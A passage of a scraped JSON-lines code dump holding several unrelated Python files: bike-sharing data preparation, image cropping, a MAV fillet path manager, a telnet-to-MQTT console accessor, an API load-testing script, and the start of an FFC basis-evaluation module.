download data\n # DataDownloader(data_params=data_params)\n\n dc = DatasetCreator(data_params)\n # read data\n logger.info(\"Read trips data...\")\n df_trips = dc.get_data(data_params[\"trips_folder\"])\n print(\n f\" df_trips has {df_trips.shape[0]} observations and {df_trips.shape[1]} features\")\n logger.info(\"Read weather data...\")\n df_weather = dc.get_data(data_params[\"wwo_hist_folder\"])\n print(\n f\" df_weather has {df_weather.shape[0]} observations and {df_weather.shape[1]} features\")\n df_weather = df_weather[[\"date_time\", \"maxtempC\", \"mintempC\", \"totalSnow_cm\",\n \"FeelsLikeC\", \"cloudcover\", \"humidity\", \"pressure\", \"visibility\", \"windspeedKmph\"]]\n\n logger.info(\"Validation of the initial dataset...\")\n # drop miss values\n logger.info(\" Drop missing values...\")\n if df_trips.isna().sum().sum():\n df_trips.dropna(inplace=True)\n logger.info(\" Done!\")\n # create new columns\n logger.info(\" Create new columns...\")\n df_trips = dc.create_time_features(df_trips, \"started_at\")\n df_trips[\"ended_at\"] = pd.to_datetime(df_trips[\"ended_at\"])\n df_trips[\"trip_duration\"] = df_trips.apply(lambda x: (\n x[\"ended_at\"] - x[\"started_at\"]).total_seconds(), axis=1)\n df_trips[\"ride_length\"] = df_trips.apply(lambda x: dc.haversine(\n x[\"start_lat\"], x[\"start_lng\"], x[\"end_lat\"], x[\"end_lng\"]), axis=1)\n df_trips.drop([\"started_at\", \"ended_at\"], inplace=True, axis=1)\n df_weather = dc.create_time_features(df_weather, \"date_time\")\n logger.info(\" Done!\")\n # merge datasets\n logger.info(\" Merge datasets...\")\n df_trips = df_trips.merge(df_weather, on=[\n \"year\", \"month\", \"season\", \"day\", \"hour\", \"week_day\", \"is_weekend\", \"is_holiday\"])\n logger.info(\" Done!\")\n # remove outliers\n logger.info(\" Remove outliers...\")\n df_trips = dc.remove_outliers(df_trips)\n df_trips.reset_index(drop=True, inplace=True)\n logger.info(\" Done!\")\n logger.info(\"Dataset was successfully validated.\")\n\n # group dataset for final df\n logger.info(\"Make final df...\")\n df_trips = df_trips.groupby(\n [\"FeelsLikeC\", \"maxtempC\", \"mintempC\", \"windspeedKmph\", \"cloudcover\", \"humidity\", \"pressure\",\n \"visibility\", \"is_holiday\", \"is_weekend\", \"year\", \"season\", \"month\", \"hour\", \"day\", \"week_day\"]) \\\n .agg({\"start_station_name\": \"size\"}) \\\n .rename(columns={\"start_station_name\": \"number_of_rides\"}) \\\n .reset_index()\n print(\n f\" df has {df_trips.shape[0]} observations and {df_trips.shape[1]} features\")\n\n return df_trips\n\n\nif __name__ == \"__main__\":\n logger = logging.getLogger(__name__)\n handler = logging.StreamHandler(sys.stdout)\n logger.setLevel(logging.INFO)\n logger.addHandler(handler)\n\n config = read_config(\"../../configs/data_config.yaml\")\n data_params = parse_data_config(config)\n data_params[\"trips_folder\"] = \"../../data/trips/\"\n data_params[\"wwo_hist_folder\"] = \"../../data/weather/\"\n\n df_trips = dataset_creating(data_params, logger)\n df_trips.to_csv(\"../../data/df_for_modelling.csv\")\n","repo_name":"Kibzik/bike-sharing-analysis","sub_path":"src/data/dataset_creator.py","file_name":"dataset_creator.py","file_ext":"py","file_size_in_byte":6746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8874761100","text":"import cv2\nimport numpy as np\nimage = cv2.imread('./dataset/mvtec/bottle/test/bad/IMG_Im0001_M2_C00221231-02_FEdge Defect_U5_E3173_IOOSO_UmnU.d.bmp')\noutput = image.copy()\nimg = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n# Find circles\ncircles = cv2.HoughCircles(img, cv2.HOUGH_GRADIENT, 1.3, 1500)\n# If some circle is found\nif circles is not None:\n # Get the (x, y, r) as integers\n circles = np.round(circles[0, :]).astype(\"int\")\n print(circles)\n # loop over the circles\n for (x, y, r) in circles:\n cv2.circle(output, (x, y), r, (0, 255, 0), 2)\n h,w,_ = image.shape\n mask = np.zeros(((h),(w)), np.uint8)\n cv2.circle(mask, (int(),int(y)), 354, 255, 710)\nimg = cv2.bitwise_and(image, image, mask= mask)\nkernel2 = np.ones((5, 5), np.float32)/25\nimg = cv2.filter2D(src=img, ddepth=-1, kernel=kernel2)\n\ncv2.imwrite(\"crop_IMG_Im0062_M22_C00220475-10_FEdge Defect_U4_E3310_IOOSO_UmnU.d.bmp\",img)\n\n","repo_name":"MlLearnerAkash/AdPredictor","sub_path":"crop_image.py","file_name":"crop_image.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39956514050","text":"\"\"\"Provides an implementation of the fillet path manager for waypoint following as described in\n Chapter 11 Algorithm 8\n\"\"\"\n\nimport numpy as np\nfrom mav_sim.chap11.path_manager_utilities import (\n EPSILON,\n HalfSpaceParams,\n WaypointIndices,\n extract_waypoints,\n get_airspeed,\n inHalfSpace,\n)\nfrom mav_sim.message_types.msg_path import MsgPath\nfrom mav_sim.message_types.msg_state import MsgState\nfrom mav_sim.message_types.msg_waypoints import MsgWaypoints\nfrom mav_sim.tools.types import NP_MAT\n\n\ndef fillet_manager(\n state: MsgState,\n waypoints: MsgWaypoints,\n ptr_prv: WaypointIndices,\n path_prv: MsgPath,\n hs_prv: HalfSpaceParams,\n radius: float,\n manager_state: int,\n) -> tuple[MsgPath, HalfSpaceParams, WaypointIndices, int]:\n\n \"\"\"Update for the fillet manager.\n Updates state machine if the MAV enters into the next halfspace.\n\n Args:\n state: current state of the vehicle\n waypoints: The waypoints to be followed\n ptr_prv: The indices that were being used on the previous iteration\n (i.e., current waypoint inidices being followed when manager\n called)\n hs_prv: The previous halfspace being looked for (i.e., the current\n halfspace when manager called)\n radius: minimum radius circle for the mav\n manager_state: Integer state of the manager\n Value of 1 corresponds to following the straight line path\n Value of 2 corresponds to following the arc between straight\n lines\n\n Returns:\n path (MsgPath): Path to be followed\n hs (HalfSpaceParams): Half space parameters corresponding to the next\n change in state\n ptr (WaypointIndices): Indices of the current waypoint being followed\n manager_state (int): The current state of the manager\n\n \"\"\"\n # Default the outputs to be the inputs\n path = path_prv\n hs = hs_prv\n ptr = ptr_prv\n pos = np.array([[state.north], [state.east], [-state.altitude]])\n # Insert code here\n if waypoints.flag_waypoints_changed and waypoints.num_waypoints >= 3:\n ptr = WaypointIndices()\n waypoints.flag_waypoints_changed = False\n manager_state = 1\n if manager_state == 1:\n path_line, hs = construct_fillet_line(\n waypoints=waypoints, ptr=ptr, radius=radius\n )\n path = path_line\n if inHalfSpace(pos, hs):\n manager_state = 2\n if manager_state == 2:\n path_cir, hs = construct_fillet_circle(\n waypoints=waypoints, ptr=ptr, radius=radius\n )\n path = path_cir\n if inHalfSpace(pos, hs):\n ptr.increment_pointers(waypoints.num_waypoints)\n manager_state = 1\n return (path, hs, ptr, manager_state)\n\n\ndef construct_fillet_line(\n waypoints: MsgWaypoints, ptr: WaypointIndices, radius: float\n) -> tuple[MsgPath, HalfSpaceParams]:\n \"\"\"Define the line on a fillet and a halfspace for switching to the next fillet curve.\n\n The line is created from the previous and current waypoints with halfspace defined for\n switching once a circle of the specified radius can be used to transition to the next line segment.\n\n Args:\n waypoints: The waypoints to be followed\n ptr: The indices of the waypoints being used for the path\n radius: minimum radius circle for the mav\n\n Returns:\n path: The straight-line path to be followed\n hs: The halfspace for switching to the next waypoint\n \"\"\"\n # Extract the waypoints (w_{i-1}, w_i, w_{i+1})\n previous, current, next_wp = extract_waypoints(waypoints=waypoints, ptr=ptr)\n current_line: NP_MAT = current - previous\n current_line_mag = np.linalg.norm(current - previous)\n current_line = current_line / current_line_mag\n next_line = (next_wp - current) / np.linalg.norm(next_wp - current)\n var_rho = np.arccos(-current_line.T @ next_line)\n if var_rho % (2 * np.pi) == 0:\n Z = current\n else:\n Z = current - radius / (np.tan(var_rho / 2)) * current_line\n\n # Construct the path\n path = MsgPath()\n path.plot_updated = False\n path.line_direction = current_line\n path.line_origin = previous\n path.airspeed = get_airspeed(waypoints=waypoints, ptr=ptr)\n\n # Construct the halfspace\n hs = HalfSpaceParams(point=Z, normal=current_line)\n\n return (path, hs)\n\n\ndef construct_fillet_circle(\n waypoints: MsgWaypoints, ptr: WaypointIndices, radius: float\n) -> tuple[MsgPath, HalfSpaceParams]:\n \"\"\"Define the circle on a fillet\n\n Args:\n waypoints: The waypoints to be followed\n ptr: The indices of the waypoints being used for the path\n radius: minimum radius circle for the mav\n\n Returns:\n path: The straight-line path to be followed\n hs: The halfspace for switching to the next waypoint\n \"\"\"\n # Extract the waypoints (w_{i-1}, w_i, w_{i+1})\n previous, current, next_wp = extract_waypoints(waypoints=waypoints, ptr=ptr)\n # Define lines ---\n current_line: NP_MAT = current - previous\n current_line_mag = np.linalg.norm(current - previous)\n current_line = current_line / current_line_mag\n next_line: NP_MAT = next_wp - current\n next_line_mag = np.linalg.norm(next_wp - current)\n\n next_line = next_line / next_line_mag\n var_rho = np.arccos(-current_line.T @ next_line)\n vec_center: NP_MAT = current_line - next_line\n vec_center_mag = np.linalg.norm(vec_center)\n lambda_ = np.sign(\n current_line.item(0) * next_line.item(1)\n - current_line.item(1) * next_line.item(0)\n )\n if var_rho % (2 * np.pi) == 0 or vec_center_mag < EPSILON:\n hs = HalfSpaceParams(normal=current_line, point=current)\n # J = np.array([[0, 1, 0], [-1, 0, 0], [0, 0, 1]])\n J = np.array([[0, -1, 0], [1, 0, 0], [0, 0, -1]])\n C = current + radius * J @ current_line\n else:\n vec_center = vec_center / vec_center_mag\n C = current - (radius / np.sin(var_rho / 2)) * vec_center\n Z = current + radius / (np.tan(var_rho / 2)) * next_line\n # Define the switching halfspace\n hs = HalfSpaceParams(normal=next_line, point=Z)\n\n # Construct the path\n path = MsgPath()\n path.plot_updated = False\n path.type = \"orbit\"\n path.orbit_center = C\n path.orbit_direction = \"CW\" if lambda_ > 0 else \"CCW\"\n path.orbit_radius = radius\n\n path.airspeed = get_airspeed(waypoints=waypoints, ptr=ptr)\n\n return (path, hs)\n","repo_name":"timdodge54/RRT-Star-Planner","sub_path":"src/mavsim_python/mav_sim/chap11/fillet_manager.py","file_name":"fillet_manager.py","file_ext":"py","file_size_in_byte":6497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8798378703","text":"\"\"\"\r\nCreated on Mar 23, 2017\r\n\r\n@author: smcochra\r\n\r\n3/27/2017 - edited by smcochra\r\n\"\"\"\r\n\r\n#import TelnetDriver\r\nimport time\r\nimport telnetlib\r\nimport time\r\nimport datetime\r\nimport re\r\nimport paho.mqtt.client as mqtt\r\nimport copy\r\nimport json\r\nimport config.ConfigItems as server\r\n\r\n\r\n#BROKER_ADD = 'broker.mqttdashboard.com'\r\nBROKER_ADD = server.mqtt['mqttserver']['server']\r\n# BROKER_ADD = '10.130.41.48'\r\nBROKER_PORT = server.mqtt['mqttserver']['port']\r\n\r\n\r\n\r\nclass TelnetAccessor(object):\r\n \"\"\"\r\n Encompasses Send, Expect, SendExpect, Logging to DB with Timestamp\r\n \"\"\"\r\n matchobj = None\r\n\r\n def __init__(self, mqtt_id=None, qos=1, debugFlag=False, mqttClient=None):\r\n \"\"\"\r\n Instantiate TelnetDriver Class\r\n + mqtt_id - identifier for MQTT client to launch\r\n - if None, no Client will launch\r\n + qos - Quality of service for mqtt range int([0, 2])\r\n + loc - string location of test being executed. e.g. 'SAN JOSE'\r\n + debugFlag - enable debug messaging\r\n \"\"\"\r\n self.t = TelnetDriver(mqtt_id=mqtt_id, debugFlag=debugFlag, mqttClient=mqttClient)\r\n\r\n def open_console(self, console):\r\n self.t.open(console)\r\n\r\n\r\n def close_console(self):\r\n self.t.close()\r\n\r\n def send(self, data):\r\n \"\"\"\r\n Sends data to open console\r\n + data - string to push to socket\r\n \"\"\"\r\n data = data.encode('ascii')\r\n self.t.debug('Sending: %r' % data)\r\n self.t.send(data)\r\n\r\n def getlastmatchobj(self):\r\n \"\"\"\r\n Returns last RE match object\r\n \"\"\"\r\n return self.matchobj\r\n\r\n def setmatchobj(self, matchobj):\r\n \"\"\"\r\n Set RE match object for query\r\n \"\"\"\r\n self.matchobj = matchobj\r\n\r\n def expect(self, matchlist, timeout=5):\r\n \"\"\"\r\n Arguments -\r\n + matchlist - regex or list of regex's to match against\r\n + timeout - seconds before timeout occurs\r\n Returns tupple dictionary with following keys:\r\n + 'matchidx' - index of item matched from argument matchlist\r\n + 'matchobj' - MatchObject; see documentation re.MatchObject\r\n + 'matchtext' - raw string that pattern matched against\r\n + 'buffer' - buffer captured between start of expect call and timeout/match\r\n + 'bufobj' - list of dictionaries ordered with key timestamp and value list\r\n of lines associated with timestamp\r\n [{time1: [buffer_line_1, buffer_line_2]},\r\n {time2: [buffer_line_1, buffer_line_2, ...],\r\n ...,\r\n ]\r\n + 'timeout_occured' - True or False\r\n + 'xtime' - execution time for expect to match\r\n\r\n \"\"\"\r\n returndict = {}\r\n buffer = ''\r\n\r\n expobj = self.t.expect(matchlist, timeout)\r\n\r\n for dict in expobj['buffer']:\r\n for timestamp, line in dict.items():\r\n buffer += '\\n'.join(line)\r\n buffer += '\\n'\r\n\r\n # remove last new line that was applied in excess above\r\n buffer = buffer[:-1]\r\n\r\n timeout = True\r\n mtext = None\r\n if expobj['midx'] != -1:\r\n timeout = False\r\n # fetch entire match\r\n mtext = expobj['mobj'].group(0)\r\n\r\n self.setmatchobj(expobj['mobj'])\r\n\r\n returndict['matchidx'] = expobj['midx']\r\n # returndict['matchobj'] = expobj['mobj']\r\n returndict['matchtext'] = mtext\r\n returndict['buffer'] = buffer\r\n returndict['bufobj'] = expobj['buffer']\r\n returndict['xtime'] = expobj['xtime']\r\n returndict['timeout_occured'] = timeout\r\n\r\n return returndict\r\n\r\n def sendexpect(self, data, matchlist, timeout=5, debug=False):\r\n \"\"\"\r\n Combined send, expect;\r\n \"\"\"\r\n self.send(data )\r\n result = self.expect(matchlist, timeout=timeout)\r\n\r\n if debug:\r\n self.__debug_expect(result)\r\n\r\n return result\r\n\r\n def sendexpect_list(self, data_list, matchlist, timeout=5, debug=False):\r\n \"\"\"\r\n accepts list of commands to execute assuming same matchlist;\r\n returns True after successful execution\r\n + data_list - list of commands to run - '\\r' will be appended to each command\r\n + matchlist - regex or list of regex's to match against\r\n + timeout - seconds before timeout occurs\r\n + debug - print out expect return values \r\n \"\"\"\r\n returnobj = []\r\n for data in data_list:\r\n result = self.sendexpect(data + '\\r', matchlist, timeout, debug)\r\n returnobj.append(result)\r\n\r\n return returnobj\r\n\r\n def __debug_expect(self, exp_retrn_dict):\r\n \"\"\"\r\n Print out expect return values\r\n \"\"\"\r\n self.t.set_debug_flag(True)\r\n self.t.debug('------------------------------')\r\n for key, value in exp_retrn_dict.iteritems():\r\n self.t.debug('%s: %r' % (key, value))\r\n self.t.debug('------------------------------')\r\n\r\n def print_log_with_timestamps(self, expect_obj_list):\r\n \"\"\"\r\n Takes list of expect return objects and prints log\r\n with timestamps\r\n \"\"\"\r\n lastline = ''\r\n buflist = []\r\n for result in expect_obj_list:\r\n buflist.append(result['bufobj'])\r\n\r\n for cmd_dict_list in buflist:\r\n # connect cmd sequence lastline w/ firstline\r\n cmd_dict_list[0].values()[0][0] = lastline + \\\r\n cmd_dict_list[0].values()[0][0]\r\n # get lastline of cmd sequence to tie to first line of next\r\n # sequence\r\n lastline = cmd_dict_list[-1].values()[0].pop()\r\n\r\n for bufobj in cmd_dict_list:\r\n for timestamp, buf_list in bufobj.iteritems():\r\n for idx in range(len(buf_list)):\r\n print ('%s\\t%r' % (timestamp, buf_list[idx]))\r\n\r\n # don't forget to print lastline that we are storing\r\n print('%s\\t%r' % (timestamp, lastline))\r\n\r\n\r\ndef logmsg(msg):\r\n \"\"\"\r\n Logs msg to TBD location\r\n \"\"\"\r\n time = gettimestamp()\r\n print ('%s\\tlogmsg: %s' % (time, msg))\r\n\r\n\r\ndef usermsg(msg):\r\n \"\"\"\r\n Logs msg to TBD location\r\n \"\"\"\r\n time = gettimestamp()\r\n print ('%s\\tusermsg: %s' % (time, msg))\r\n\r\n\r\ndef gettimestamp():\r\n \"\"\"\r\n Returns int of epoch in milliseconds\r\n \"\"\"\r\n # return datetime.datetime.now()\r\n return int(time.time() * 1000)\r\n\r\n\r\ndef test(console='10.31.248.147:3009'):\r\n usermsg('Testing User Message!')\r\n logmsg('Testing log Message!')\r\n\r\n # prints output of all expect return values\r\n # to provide support for debugging\r\n debugFlag = False\r\n data_list = ['exit', 'en', 'skip', 'show version']\r\n\r\n# session = TelnetAccessor(debugFlag=debugFlag)\r\n# session.open_console(console)\r\n# \r\n# logmsg('Testing sendexpect_list...')\r\n# \r\n# results = session.sendexpect_list(\r\n# data_list, ['not_a_match', 'Router', 'NetIron\\sCE[SR]\\s2024[CF].4X'], timeout=15, debug=debugFlag)\r\n# \r\n# session.print_log_with_timestamps(results)\r\n# \r\n# session.close_console()\r\n# \r\n# \"\"\"\r\n# Testing MQTT integration now with same series\r\n# \"\"\"\r\n# print '###############################################################'\r\n# print '# STARTING A TIMEOUT TEST #'\r\n# print '###############################################################'\r\n# \r\n# session = TelnetAccessor(debugFlag=debugFlag)\r\n# session.open_console(console)\r\n# \r\n# logmsg('Testing sendexpect_list assuming timeouts...')\r\n# \r\n# results = session.sendexpect_list(\r\n# data_list, ['not_a_match', 'Router'], timeout=10, debug=debugFlag)\r\n# \r\n# session.print_log_with_timestamps(results)\r\n# \r\n# session.close_console()\r\n\r\n \"\"\"\r\n Testing MQTT integration now with same series\r\n \"\"\"\r\n print ('###############################################################')\r\n print ('# STARTING MQTT TEST #')\r\n print ('###############################################################')\r\n\r\n session = TelnetAccessor(mqtt_id='ABC123', qos=1, debugFlag=debugFlag)\r\n session.open_console(console)\r\n\r\n logmsg('Testing sendexpect_list...')\r\n\r\n for i in range(20):\r\n results = session.sendexpect_list(\r\n data_list, ['not_a_match', 'Router', 'NetIron\\sCE[SR]\\s2024[CF].4X'], timeout=15, debug=debugFlag)\r\n time.sleep(3)\r\n\r\n # session.print_log_with_timestamps(results)\r\n\r\n session.close_console()\r\n\r\n usermsg('Done!')\r\n logmsg('Done!')\r\n\r\n\r\n\r\nclass TelnetDriver(object):\r\n '''\r\n Wrapper for telnetlib. Shouldn't be called directly, use TelnetAccessor\r\n '''\r\n _ip = None\r\n _port = None\r\n mqtt_client = None\r\n mqtt_id = None\r\n qos = None\r\n topic = None\r\n\r\n def __init__(self, mqtt_id=None, qos=0, debugFlag=False, mqttClient=None):\r\n '''\r\n Pass console, return telnet session\r\n + console - (optional) format : e.g. '192.168.1.1:3003'\r\n + qos - Quality of service for mqtt range int([0, 2])\r\n + mqtt_id - identifier for MQTT client to launch on 'open' call\r\n - if None, no Client will launch\r\n + loc - string location of test being executed. e.g. 'SAN JOSE'\r\n + debugFlag - enables debug messaging\r\n '''\r\n self.debugFlag = debugFlag\r\n self.debug('Hello (telnet) World')\r\n\r\n self.mqtt_id = mqtt_id\r\n self.qos = qos\r\n self.topic = '%s/console' % mqtt_id\r\n\r\n self.mqtt_client = None\r\n if mqttClient:\r\n print(\"Live MQTT Client\")\r\n self.mqtt_client = mqttClient\r\n self.mqtt_client.publish('{}/status'.format(self.mqtt_id), json.dumps({ 'serial': self.mqtt_id,\r\n 'epoch': self.get_time(),\r\n 'status' : 'RESET'}) )\r\n\r\n def _on_message(self, client, userdata, msg):\r\n # not expecting to receive any messages\r\n pass\r\n\r\n def set_debug_flag(self, flag):\r\n \"\"\"\r\n Enable/Disable debug messaging\r\n + flag - True/False\r\n \"\"\"\r\n self.debugFlag = flag\r\n\r\n def open(self, console):\r\n self.t = telnetlib.Telnet()\r\n\r\n self._ip = console.split(':')[0]\r\n self._port = int(console.split(':')[1])\r\n\r\n self.debug(\"Attempting to open connection with IP: '%s' Port: '%s'\" % (\r\n self._ip, self._port))\r\n self.t.open(self._ip, self._port)\r\n self.debug(\"Session opened!\")\r\n print(\"MQTT: {}\".format(self.mqtt_id))\r\n print(\"Session Opened\")\r\n #self.init_mqtt(console)\r\n resp = self.expect(matchlist=['login:'], timeout=5)\r\n if resp:\r\n if 'mobj' in resp:\r\n if resp['mobj']:\r\n print(\"Telnet Connect: {}\".format(resp['mobj'][0]))\r\n if 'login:' in resp['mobj'][0]:\r\n portx = \"port{}\".format(str(self._port)[-1:])\r\n print(\"Ports: {}\".format(portx))\r\n self.send(\"{}\\n\".format(portx))\r\n self.send(\"pass\\n\")\r\n\r\n def init_mqtt(self, console):\r\n if self.mqtt_id:\r\n userdata = {'process_id': self.mqtt_id,\r\n 'console_ip': console,\r\n 'timezone': time.strftime(\"%z\", time.gmtime()),\r\n 'start_time': self.get_time()}\r\n self.mqtt_client = mqtt.Client(userdata=userdata)\r\n self.mqtt_client.on_connect = self._on_connect\r\n self.mqtt_client.on_message = self._on_message\r\n\r\n self.mqtt_client.connect(BROKER_ADD, BROKER_PORT)\r\n\r\n def _on_connect(client, userdata, rc):\r\n print(\"MQTT Client [%s] connected with result code %s\" % (\r\n userdata['process_id'], str(rc)))\r\n\r\n def _on_message(client, userdata, msg):\r\n print('Received message! [Thread: %s] %s' % (msg.topic, msg.payload))\r\n\r\n def send(self, data):\r\n \"\"\"\r\n + data - string to push to socket\r\n \"\"\"\r\n if isinstance(data, str):\r\n #print(\"Found String: {}\".format(data))\r\n data = data.encode('ascii')\r\n\r\n self.t.write(data)\r\n\r\n def expect_old(self, matchlist, timeout=5):\r\n \"\"\"\r\n Returns tupple (idx, mtext, buf, timeout)\r\n + idx - index of matched expr in matchlist; -1 if timeout occurs\r\n + mtext - matchobject; if match, mtext.group(idx) returns actual matched text, else returns None\r\n + buf - buffer from time of expect starts to timeout/match\r\n \"\"\"\r\n self.t.cookedq = ''\r\n\r\n if not isinstance(matchlist, list):\r\n matchlist = [matchlist]\r\n\r\n idx, mtext, buf = self.t.expect(matchlist, timeout=timeout)\r\n\r\n return (idx, mtext, buf)\r\n\r\n def expect(self, matchlist, timeout=5):\r\n \"\"\"\r\n Accepts:\r\n + matchlist - list of values to match against\r\n + timeout - seconds before function should return if match is not met\r\n\r\n Returns dictionary:\r\n + 'buffer' - list of dictionaries in format:\r\n [{time1: [buffer_line_1, buffer_line_2]},\r\n {time2: [buffer_line_1, buffer_line_2, ...],\r\n ...,\r\n ]\r\n + 'xtime' - execution time\r\n + 'midx' - index of item matched in argument matchlist; -1 if no match found\r\n + 'mobj' - match object returned by re.search; None if no match found\r\n \"\"\"\r\n if not isinstance(matchlist, list):\r\n matchlist = list(matchlist)\r\n\r\n # convert timeout to milliseconds\r\n timeout *= 1000\r\n\r\n # define list of dictionaries;\r\n # list insures order is perserved rather than\r\n # sorting down the road...\r\n running_buf = []\r\n # remember last line of buffer to append to first line of next buf\r\n last_line_buf = ''\r\n\r\n # matchidx initialized to 0\r\n midx = -1\r\n # index of timestamp we are iterating with\r\n tidx = 0\r\n timestamp = self.get_time()\r\n\r\n # compile regex's once to save processing\r\n compiled_regex = []\r\n for regex in matchlist:\r\n compiled_regex.append(re.compile(regex))\r\n\r\n start_time = self.get_time()\r\n while self.get_time() - start_time < timeout:\r\n buf = self.t.read_very_eager()\r\n if buf:\r\n # create list of lines associated with buffer\r\n if not isinstance(buf, str):\r\n buf = buf.decode('ascii')\r\n\r\n buf = buf.replace('\\r', '')\r\n buf_list = buf.split('\\n')\r\n\r\n # first line is really cut off part from last line\r\n last_idx = len(buf_list) - 1\r\n buf_list[0] = last_line_buf + buf_list[0]\r\n last_line_buf = buf_list[last_idx]\r\n\r\n # buffer to remember\r\n timestamp = self.get_time()\r\n running_buf.append({timestamp: []})\r\n\r\n # send to MQTT - format {'epoch': timestamp, 'console': payload}\r\n payload = copy.deepcopy(buf_list)\r\n payload.pop()\r\n self.mqtt_publish({'epoch': timestamp, 'console': payload})\r\n\r\n # search each line in most recent buf for regex match\r\n # don't search last line because it is incomplete,\r\n # last line is appended to start of first line of next buf\r\n for i in range(len(buf_list)):\r\n # don't append last item\r\n if i < last_idx:\r\n running_buf[tidx][timestamp].append(buf_list[i])\r\n # iterate thru matchlist to look for matches in this line\r\n for idx in range(len(compiled_regex)):\r\n # compute regex\r\n mobj = re.search(compiled_regex[idx], buf_list[i])\r\n if mobj:\r\n # don't forget to append last line we were saving\r\n running_buf[tidx][timestamp].append(last_line_buf)\r\n # don't forget to 'send' last line over mqtt\r\n self.mqtt_publish({'epoch': timestamp, 'console': [last_line_buf]})\r\n\r\n return {'buffer': running_buf,\r\n 'xtime': self.get_time() - start_time,\r\n 'midx': idx,\r\n 'mobj': mobj}\r\n\r\n tidx += 1\r\n\r\n # if we get here, we have a TIMEOUT\r\n # don't forget to append last line we were saving;\r\n # tidx was over incremented above\r\n tidx -= 1\r\n if running_buf:\r\n running_buf[tidx][timestamp].append(last_line_buf)\r\n self.mqtt_publish({'epoch': timestamp, 'console': [last_line_buf]})\r\n\r\n return {'buffer': running_buf,\r\n 'xtime': self.get_time() - start_time,\r\n 'midx': midx,\r\n 'mobj': None}\r\n\r\n def mqtt_publish(self, payload):\r\n \"\"\"\r\n Push payload over defined mqtt client/thread in json format\r\n \"\"\"\r\n print(\"Pushing MQTT: {} {}\".format(self.topic, json.dumps(payload)))\r\n if self.mqtt_client:\r\n self.mqtt_client.publish(self.topic, json.dumps(payload), self.qos)\r\n\r\n def close(self):\r\n \"\"\"\r\n Close opened session\r\n \"\"\"\r\n self.t.close()\r\n\r\n def get_time(self):\r\n \"\"\"\r\n Returns integer time in milliseconds\r\n \"\"\"\r\n return int(time.time() * 1000)\r\n\r\n def debug(self, msg):\r\n \"\"\"\r\n Dump debug info - can be changed easily from here...\r\n \"\"\"\r\n if self.debugFlag:\r\n print(msg)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n test()\r\n","repo_name":"neosinha/ConsoleExpress","sub_path":"TelnetAcessorLib/TelnetAccessor.py","file_name":"TelnetAccessor.py","file_ext":"py","file_size_in_byte":18086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35502094778","text":"from random import uniform\nimport time as ping\nimport matplotlib.pyplot as plt\nfrom all_api_methods import add_net\nimport save_graph\nfrom variable_load import split_on_equal_parts, split_on_difference_parts\nfrom thread_upgrade import ThreadWithReturnValue\nfrom urls import BASE_URL, ADD_NET_URL\n\n\nLAT_MAX = 48.425550\nLAT_MIN = 48.425850\nLONG_MAX = 35.02400\nLONG_MIN = 35.02100\nTIME_LOAD_DURATION = 10\n\n\ndef threadStart(number, ping_arr):\n for i in range(number):\n ping.sleep(ping_arr[i])\n threads[i] = ThreadWithReturnValue(target=add_net,\n args=[BASE_URL + ADD_NET_URL,\n data_list[i]])\n threads[i].start()\n\n\ndef threadEnd(number):\n arr = list()\n for i in range(number):\n arr.append(threads[i].join())\n return arr\n\n\ndef generate_list_of_data(start_index, number, lat_minim, lat_maxim, long_minim,\n long_maxim):\n list_of_data = list()\n ssid = 'Test_ssid_name'\n password = 'Test_password_name'\n bssid = 'Test_password_bssid'\n i = 0\n while i < number:\n req_data = {'latitude':str(uniform(lat_minim, lat_maxim)),\n 'longitude':str(uniform(long_minim, long_maxim)),\n 'ssid':ssid+str(start_index+i),\n 'password':password+str(start_index+i),\n 'bssid':bssid+str(start_index+i)}\n list_of_data.append(req_data)\n i = i+1\n return list_of_data\n\n\nif __name__ == '__main__':\n file_name = './text/add_net.txt'\n start = int()\n with open(file_name, 'r') as opened_file:\n start = int(opened_file.read())\n thread_count = 10\n users_number = list()\n average_load_list = list()\n max_load_list = list()\n min_load_list = list()\n while thread_count <= 10:\n data_list = generate_list_of_data(start, thread_count, LAT_MIN, LAT_MAX,\n LONG_MIN, LONG_MAX)\n ping_arr = [0] * thread_count\n results = [None] * thread_count\n threads = [None] * thread_count\n threadStart(thread_count, ping_arr)\n thr = threadEnd(thread_count)\n print(thr)\n average_load = (sum(thr)/len(thr))\n min_load = min(thr)\n min_load_list.append(min_load)\n max_load = max(thr)\n max_load_list.append(max_load)\n users_number.append(thread_count)\n start = start + thread_count\n thread_count = thread_count+10\n average_load_list.append(average_load)\n with open(file_name, 'w') as opened_file:\n opened_file.write(str(start))\n print(average_load_list)\n print(min_load_list)\n print(max_load_list)\n print(users_number)\n fig = plt.figure()\n graph_avg = plt.plot(users_number, average_load_list, color='blue')\n graph_avg = plt.plot(users_number, max_load_list, color='magenta')\n graph_avg = plt.plot(users_number, min_load_list, color='green')\n plt.show()","repo_name":"MikhaylovStepa/api_load_testing","sub_path":"add_net_load.py","file_name":"add_net_load.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4534782354","text":"# -*- coding: utf-8 -*-\n\"\"\"Work in progress translation of FFC evaluatebasis code to uflacs CNodes format.\"\"\"\n\nimport numpy\n\nfrom ffc.log import error\nfrom ffc.uflacs.backends.ufc.utils import generate_error\n\nfrom ffc.uflacs.backends.ufc.evaluatebasis import generate_expansion_coefficients, generate_compute_basisvalues\n\n\n# Used for various indices and arrays in this file\nindex_type = \"std::size_t\"\n\n\ndef generate_evaluate_reference_basis_derivatives(L, data, parameters):\n # Cutoff for feature to disable generation of this code (consider removing after benchmarking final result)\n if isinstance(data, str):\n msg = \"evaluate_reference_basis_derivatives: %s\" % (data,)\n return generate_error(L, msg, parameters[\"convert_exceptions_to_warnings\"])\n\n # Get some known dimensions\n element_cellname = data[\"cellname\"]\n tdim = data[\"topological_dimension\"]\n max_degree = data[\"max_degree\"]\n reference_value_size = data[\"reference_value_size\"]\n num_dofs = len(data[\"dofs_data\"])\n\n # Output argument\n reference_values = L.Symbol(\"reference_values\")\n\n # Input arguments\n order = 